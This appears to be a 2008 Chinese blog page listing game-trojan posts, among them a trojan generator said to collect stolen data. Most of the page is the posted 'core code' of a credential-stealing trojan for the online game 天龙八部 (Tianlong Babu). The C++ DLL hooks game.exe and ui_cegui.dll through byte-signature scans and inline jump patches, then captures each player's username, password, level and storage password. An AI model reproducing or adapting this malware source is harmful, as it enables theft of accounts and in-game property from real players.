武林外传木马11.1更新
作者:天晴无名氏 日期:2008-11-01 10:55
梦幻木马生成器(可以收信)
作者:天晴无名氏 日期:2008-10-16 18:56
天龙八部木马核心代码
作者:天晴无名氏 日期:2008-09-27 23:23
截取了用户名，密码，等级，仓库密码
CODE:
CODE:#include <windows.h> BYTE userCode[7]={0x8B,0x45,0x0C,0x50,0x8D,0x4B,0x5C}; BYTE userJmpCode[6]={0xe9,0x00,0x00,0x00,0x00,0x90}; BYTE gradeCode[6]={0x89,0x9F,0xFC,0x00,0x00,0x00}; BYTE gradeJmpCode[6]={0xe9,0x00,0x00,0x00,0x00,0x90}; BYTE storeCode[9]={0x8B,0x4E,0x04,0x33,0xC5,0x57,0x8B,0x7D,0x08}; BYTE oldStoreCode[6]={0}; BYTE storeJmpCode[6]={0xe9,0x00,0x00,0x00,0x00,0x90}; DWORD ui_cegui; void *lpUserRet=NULL; void *lpGradeRet=NULL; void *lpStoreRet=NULL; char user[40]; char pass[40]; char storePassWord[40]; DWORD dwGrade; DWORD stroePath=0; void _stdcall StroeUnhook(); void _stdcall HookStroe(); DWORD CmpFlag(BYTE *flag,char *moduleName,int len,void **lpRet , DWORD *lpModule) { BYTE *buff=NULL; HMODULE hModule=::GetModuleHandle(moduleName); if(hModule==NULL) { ::MessageBox(NULL,\"获取模块错误\",\"failed\",0); return 0; } DWORD imageSize=*(DWORD*)(*(DWORD*)((DWORD)hModule+0x3c)+(DWORD)hModule+0x50); void *newModule=VirtualAlloc( NULL, imageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); *lpModule=(DWORD)newModule; memcpy(newModule,(void*)hModule,imageSize); for(DWORD i=0;i<imageSize;i++) { buff=(BYTE*)((DWORD)newModule+i); if(memcmp(buff,flag,len)==0) { *lpRet=(void*)buff; return i+(DWORD)hModule; } } return 0; } DWORD GetRealFlag(BYTE *flag,char *moduleName,int len,void <!--more-->**lpRet,DWORD newModule) { BYTE *buff=NULL; HMODULE hModule=::GetModuleHandle(moduleName); if(hModule==NULL) { ::MessageBox(NULL,\"获取模块错误\",\"failed\",0); return 0; } DWORD imageSize=*(DWORD*)(*(DWORD*)((DWORD)hModule+0x3c)+(DWORD)hModule+0x50); for(DWORD i=0;i<imageSize;i++) { buff=(BYTE*)(newModule+i); if(memcmp(buff,flag,len)==0) { *lpRet=(void*)buff; return i+(DWORD)hModule; } } return 0; } void _stdcall GetUserBuff(char *userName,char *passWord) { strcpy(user,userName); strcpy(pass,passWord); return; } __declspec(naked)void GetUserAndPass() { _asm { push eax; mov eax,dword ptr ss:[ebp+0xC]; push eax; push ecx; call GetUserBuff; call StroeUnhook; pop eax; jmp [lpUserRet]; } } void _stdcall GetGradeDword(DWORD grade) { dwGrade=grade; return; } __declspec(naked)void GetGrade() { _asm { pushad; push ebx; call GetGradeDword; call HookStroe; popad; jmp [lpGradeRet]; } } void _stdcall StroeUnhook() { if(stroePath==0) return; MEMORY_BASIC_INFORMATION mbi; VirtualProtect((void*)stroePath,7,PAGE_READWRITE,(DWORD*)&mbi); memcpy((void*)stroePath,oldStoreCode,6); VirtualProtect((void*)stroePath,7,mbi.Protect,0); return; } void _stdcall GetStoreBuff(char *storePass) { strcpy(storePassWord,storePass); char data[256]; wsprintf(data,\"用户名：%s\n密码：%s\n等级：%d\n仓库密码：%s\n\",user,pass,dwGrade,storePassWord); ::MessageBox(NULL,data,\"ok\",0); } __declspec(naked)void GetStore() { _asm { pushad; push ecx; call GetStoreBuff; call StroeUnhook; popad; jmp [lpStoreRet]; } } void _stdcall HookStroe() { stroePath=GetRealFlag(storeCode,\"ui_cegui.dll\",9,&lpStoreRet,ui_cegui); if(stroePath==0) return ; stroePath=stroePath+0x43; lpStoreRet=(void*)((DWORD)lpStoreRet+0x43); DWORD jmpAddress=(DWORD)GetStore-(stroePath+5); *(DWORD*)(&storeJmpCode[1])=jmpAddress; memcpy(oldStoreCode,(BYTE*)stroePath,6); MEMORY_BASIC_INFORMATION mbi; VirtualProtect((void*)stroePath,7,PAGE_READWRITE,(DWORD*)&mbi); memcpy((void*)stroePath,storeJmpCode,6); VirtualProtect((void*)stroePath,7,mbi.Protect,0); return; } void HookGrade() { DWORD passPath=CmpFlag(gradeCode,\"ui_cegui.dll\",6,&lpGradeRet,&ui_cegui); if(passPath==0) return ; DWORD jmpAddress=(DWORD)GetGrade-(passPath+5); *(DWORD*)(&gradeJmpCode[1])=jmpAddress; MEMORY_BASIC_INFORMATION mbi; VirtualProtect((void*)passPath,7,PAGE_READWRITE,(DWORD*)&mbi); memcpy((void*)passPath,gradeJmpCode,6); VirtualProtect((void*)passPath,7,mbi.Protect,0); } void HookUserAndPass() { DWORD hModule; DWORD passPath=CmpFlag(userCode,\"game.exe\",7,&lpUserRet,&hModule); if(passPath==0) return ; DWORD jmpAddress=(DWORD)GetUserAndPass-(passPath+5); *(DWORD*)(&userJmpCode[1])=jmpAddress; MEMORY_BASIC_INFORMATION mbi; VirtualProtect((void*)passPath,7,PAGE_READWRITE,(DWORD*)&mbi); memcpy((void*)passPath,userJmpCode,6); VirtualProtect((void*)passPath,7,mbi.Protect,0); } DWORD WINAPI Thread(LPVOID lpParam) { HookUserAndPass(); HookGrade(); return 0; } BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch(ul_reason_for_call) { case DLL_PROCESS_ATTACH: { DWORD ThreadId; CreateThread(NULL,NULL,Thread,NULL,NULL,&ThreadId); break; } default:break; } return TRUE; }
